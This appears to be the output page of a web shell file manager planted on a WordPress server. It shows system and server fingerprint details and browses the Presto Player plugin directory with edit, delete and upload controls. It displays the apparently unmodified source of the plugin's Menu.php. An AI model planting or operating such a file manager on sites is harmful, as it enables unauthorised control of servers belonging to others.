[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
Services
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 API
SET
[ DEL ]
📁 Blocks
SET
[ DEL ]
📁 comment-editor
SET
[ DEL ]
📄 AdminNotice.php
1,170 B
SET
[ EDIT ]
|
[ DEL ]
📄 AdminNotices.php
6,633 B
SET
[ EDIT ]
|
[ DEL ]
📄 AjaxActions.php
971 B
SET
[ EDIT ]
|
[ DEL ]
📄 Blocks.php
1,134 B
SET
[ EDIT ]
|
[ DEL ]
📄 Compatibility.php
3,181 B
SET
[ EDIT ]
|
[ DEL ]
📄 Menu.php
5,867 B
SET
[ EDIT ]
|
[ DEL ]
📄 Migrations.php
187 B
SET
[ EDIT ]
|
[ DEL ]
📄 NpsSurvey.php
2,269 B
SET
[ EDIT ]
|
[ DEL ]
📄 Player.php
1,958 B
SET
[ EDIT ]
|
[ DEL ]
📄 PreloadService.php
3,131 B
SET
[ EDIT ]
|
[ DEL ]
📄 ProCompatibility.php
1,566 B
SET
[ EDIT ]
|
[ DEL ]
📄 ReusableVideos.php
3,803 B
SET
[ EDIT ]
|
[ DEL ]
📄 RewriteRulesManager.php
2,085 B
SET
[ EDIT ]
|
[ DEL ]
📄 Scripts.php
15,853 B
SET
[ EDIT ]
|
[ DEL ]
📄 Settings.php
8,791 B
SET
[ EDIT ]
|
[ DEL ]
📄 Shortcodes.php
17,922 B
SET
[ EDIT ]
|
[ DEL ]
📄 Streamer.php
3,046 B
SET
[ EDIT ]
|
[ DEL ]
📄 Translation.php
6,157 B
SET
[ EDIT ]
|
[ DEL ]
📄 Usage.php
7,255 B
SET
[ EDIT ]
|
[ DEL ]
📄 VideoPostType.php
22,048 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Menu.php
<?php namespace PrestoPlayer\Services; use PrestoPlayer\Plugin; use PrestoPlayer\Pro\Services\API\RestBunnyTranscriptionController; use PrestoPlayer\Pro\Services\API\RestBunnyWebhookController; class Menu { protected $enqueue; public function register() { add_action( 'admin_menu', array( $this, 'addMenu' ) ); } public function addMenu() { add_menu_page( __( 'Presto Player', 'presto-player' ), __( 'Presto Player', 'presto-player' ), 'publish_posts', 'edit.php?post_type=pp_video_block', '', 'data:image/svg+xml;base64,' . base64_encode( file_get_contents( PRESTO_PLAYER_PLUGIN_DIR . 'img/menu-icon.svg' ) ), 58 ); $analyics_page = add_submenu_page( 'edit.php?post_type=pp_video_block', __( 'Analytics', 'presto-player' ), ! Plugin::isPro() ? __( 'Analytics', 'presto-player' ) . ' <span class="update-plugins" style="background-color: #ffffff1c"><span class="plugin-count">Pro</span></span>' : __( 'Analytics', 'presto-player' ), 'publish_posts', 'presto-analytics', function () { ob_start(); ?> <div class="presto-player-dashboard__header"> <img class="presto-player-dashboard__logo" src="<?php echo esc_url( PRESTO_PLAYER_PLUGIN_URL . '/img/logo.svg' ); ?>" /> <div class="presto-player-dashboard__version">v<?php echo esc_html( Plugin::version() ); ?></div> </div> <div id="presto-analytics-page"></div> <?php wp_auth_check_html(); ?> <?php $page = ob_get_clean(); echo $page; } ); add_action( "admin_print_scripts-{$analyics_page}", array( $this, 'analyticsAssets' ) ); $settings_page = add_submenu_page( 'edit.php?post_type=pp_video_block', __( 'Presto Player Settings', 'presto-player' ), __( 'Settings', 'presto-player' ), 'manage_options', 'presto-player-settings', 'PrestoPlayer\Services\Settings::template', 5 ); add_action( "admin_print_scripts-{$settings_page}", array( $this, 'settingsAssets' ) ); } /** * Scripts needed on settings page */ public function settingsAssets() { wp_enqueue_media(); wp_enqueue_code_editor( array( 'type' => 'text/css' ) ); $assets = include trailingslashit( PRESTO_PLAYER_PLUGIN_DIR ) . 'dist/settings.asset.php'; wp_enqueue_script( 'surecart/settings/admin', trailingslashit( PRESTO_PLAYER_PLUGIN_URL ) . 'dist/settings.js', array_merge( array( 'wp-codemirror', 'regenerator-runtime' ), $assets['dependencies'] ), $assets['version'], true ); // setting style. wp_enqueue_style( 'surecart/settings/admin', trailingslashit( PRESTO_PLAYER_PLUGIN_URL ) . 'dist/settings.css', array(), $assets['version'] ); wp_enqueue_style( 'wp-components' ); if ( function_exists( 'wp_set_script_translations' ) ) { wp_set_script_translations( 'surecart/settings/admin', 'presto-player' ); } // Get transcription endpoints if available (Pro feature). $transcription_endpoints = array(); if ( class_exists( RestBunnyTranscriptionController::class ) ) { $transcription_endpoints = array( 'captions' => RestBunnyTranscriptionController::get_captions_path(), 'transcribe' => RestBunnyTranscriptionController::get_transcribe_path(), 'deleteCaption' => RestBunnyTranscriptionController::get_delete_caption_path(), 'clearCache' => RestBunnyTranscriptionController::get_clear_cache_path(), ); } // Get webhook endpoints if available (Pro feature). if ( class_exists( RestBunnyWebhookController::class ) ) { $transcription_endpoints['webhookUrl'] = RestBunnyWebhookController::get_webhook_url_path(); $transcription_endpoints['registerWebhook'] = RestBunnyWebhookController::get_register_webhook_path(); } wp_localize_script( 'surecart/settings/admin', 'prestoPlayer', apply_filters( 'presto-settings-js-options', array( 'root' => esc_url_raw( get_rest_url() ), 'nonce' => wp_create_nonce( 'wp_rest' ), 'proVersion' => Plugin::proVersion(), 'isSetup' => array( 'bunny' => false, ), 'isPremium' => Plugin::isPro(), 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'wpVersionString' => 'wp/v2/', 'prestoVersionString' => 'presto-player/v1/', 'debug' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG, 'transcriptionEndpoints' => $transcription_endpoints, ) ) ); } /** * Scripts needed on analytics page */ public function analyticsAssets() { $assets = include trailingslashit( PRESTO_PLAYER_PLUGIN_DIR ) . 'dist/analytics.asset.php'; wp_enqueue_script( 'surecart/analytics/admin', trailingslashit( PRESTO_PLAYER_PLUGIN_URL ) . 'dist/analytics.js', array_merge( array( 'hls.js', 'presto-components', 'media', 'regenerator-runtime' ), $assets['dependencies'] ), $assets['version'], true ); wp_enqueue_style( 'surecart/analytics/admin', trailingslashit( PRESTO_PLAYER_PLUGIN_URL ) . 'dist/analytics.css', array(), $assets['version'] ); wp_enqueue_style( 'wp-components' ); wp_enqueue_media(); if ( function_exists( 'wp_set_script_translations' ) ) { wp_set_script_translations( 'surecart/analytics/admin', 'presto-player' ); } wp_localize_script( 'surecart/analytics/admin', 'prestoPlayer', array( 'root' => esc_url_raw( get_rest_url() ), 'isPremium' => Plugin::isPro(), 'plugin_url' => esc_url_raw( trailingslashit( PRESTO_PLAYER_PLUGIN_URL ) ), 'nonce' => wp_create_nonce( 'wp_rest' ), 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'wpVersionString' => 'wp/v2/', 'prestoVersionString' => 'presto-player/v1/', 'i18n' => Translation::geti18n(), ) ); } public function template() { echo '<div id="presto-player-dashboard"></div>'; } }